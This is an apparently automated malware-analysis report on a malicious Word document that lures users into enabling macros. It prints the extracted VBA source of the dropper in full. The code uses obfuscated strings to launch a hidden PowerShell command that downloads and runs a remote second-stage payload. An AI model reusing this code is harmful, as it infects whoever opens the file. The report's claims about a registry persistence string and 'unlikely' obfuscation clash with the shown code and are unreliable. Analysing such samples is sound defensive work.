Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 790f2a15be1838e8…

MALICIOUS

Office (OOXML)

71.3 KB Created: 2016-10-18 13:29:00 UTC Authoring application: Microsoft Office Word 15.0000 First seen: 2019-09-30
MD5: dc0bb8414ce85276564e1adc72a7d2d8 SHA-1: 4d5b32a44e83920ca79d04c787351db074b57e95 SHA-256: 790f2a15be1838e8ae7f7a1a030fcb939c94c259e0d9609810dcf61d0bf535b4
202 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. The document body explicitly instructs the user to 'Enable Content' to view an invoice, which is a common lure. The VBA script uses `CreateObject` and obfuscated strings to download and execute a second-stage payload. The script reconstructs the following string: 'HKCU\Software\Microsoft\Windows\CurrentVersion\Run\IAccessible2Proxy' which is likely used for persistence.

Heuristics 5

  • ClamAV: Doc.Dropper.Agent-6479795-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6479795-0
  • VBA project inside OOXML medium 1 related finding OOXML_VBA
    Document contains a VBA project — VBA macros present
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1943 bytes
SHA-256: c4533381a4d36f5c9009ad3cc69d87f6a36b43ac6b257290ee1a5b4feee7a23d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "Image2, 0, 0, MSForms, Image"
Attribute VB_Control = "Image1, 1, 1, MSForms, Image"
Public Sub Image1_Click()
uhJha
End Sub
Public Sub Image2_Click()
uhJha
End Sub
Public Function d(ByVal NuDed As String, ByVal FiUpr As String) As String
For MRYGde = 1 To Len(NuDed)
ImVTipS = SrILlR(NuDed, MRYGde)
If Not vBhXoQj(FiUpr, ImVTipS) Then
d = ImVTipS & d
End If
Next
End Function
Public Function SrILlR(ByVal bKzkw As String, ByVal MRYGde As Integer) As String
SrILlR = Mid(bKzkw, MRYGde, 1)
End Function
Public Function vBhXoQj(ByVal hfZeB As String, ByVal praIlg As String) As Boolean
vBhXoQj = InStr(hfZeB, praIlg)
End Function
Public Sub nomUe(ByVal PMuwUV As String)
Set DmcHZ = CreateObject(d("lgl2seFvhwGSb5.Dt5Rpi4r08YcSxWk", "Gsb4Y250DF8wgkxRv"))
DmcHZ.Run PMuwUV, 0
End Sub
Public Function lSYael() As String
lSYael = d("K VGcv-jx Xs9Xsqap9X9yvb CfpRe-LR 4OpYTomn-1m GYnzedRdm2iB8h zXDwUB- Y6lkUleFmh9FEYs6re8PwV78opJ", "DqmkYTXjzRKBJCOUP7819GFxv64LE2fV") & MCqhhvj
End Function
Public Function MCqhhvj() As String
MCqhhvj = d("L)qf8$q(HcveUxE0B.4Kkv)lXUHlBehMJSkL.tRXpVHir3UL0cS7H0WzB m4XJ6ocJZ-B XqtVcke05jYB8Kb7qO-U58w2eNL7v(;42)MLfZL$ VH,318'89ex9ke1K.LJ5atX9akUJqdK7niHbZKB/g8kozXlqR2egQL8na2h19Xc/XZmo1vc1U96.8ztMemYZrHu7oUVg9tBQHrAZa63t0iRmeX0dBA/1/kz:Y7p2tY6tz5hq2'VU(8e1MlQiQFLdaqBKolJH1nwR9oqADU.A)Q9Qtn4k9eLilAC08KbeAR0YW.37tqAeQ6N10.Qme0tzMsq2yRS4vKR Akt9ceQ1jZV3bZO-ZwX3ek1vNX(4;)A(5A1em6aHMHNe3qMl83i9FpUXMHmYeT6ZYRteqGKY::34Y7]hL4tVaPZ.VOXKI.Bm9UXeXRtsJ0LySX3UQ[z4=fXX$", "v32Y7M08qkUB9H1VQJR5L6KzX4AZ")
End Function
Public Sub uhJha()
nomUe lSYael
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 12288 bytes
SHA-256: 776f3d2be0800b5501c64cd48a009fd1dd691e4765534e3e311267ba5a936be2
Detection
ClamAV: Doc.Dropper.Agent-6479795-0
Obfuscation or payload: unlikely

Open this report in the interactive analyzer, or submit your own file for analysis.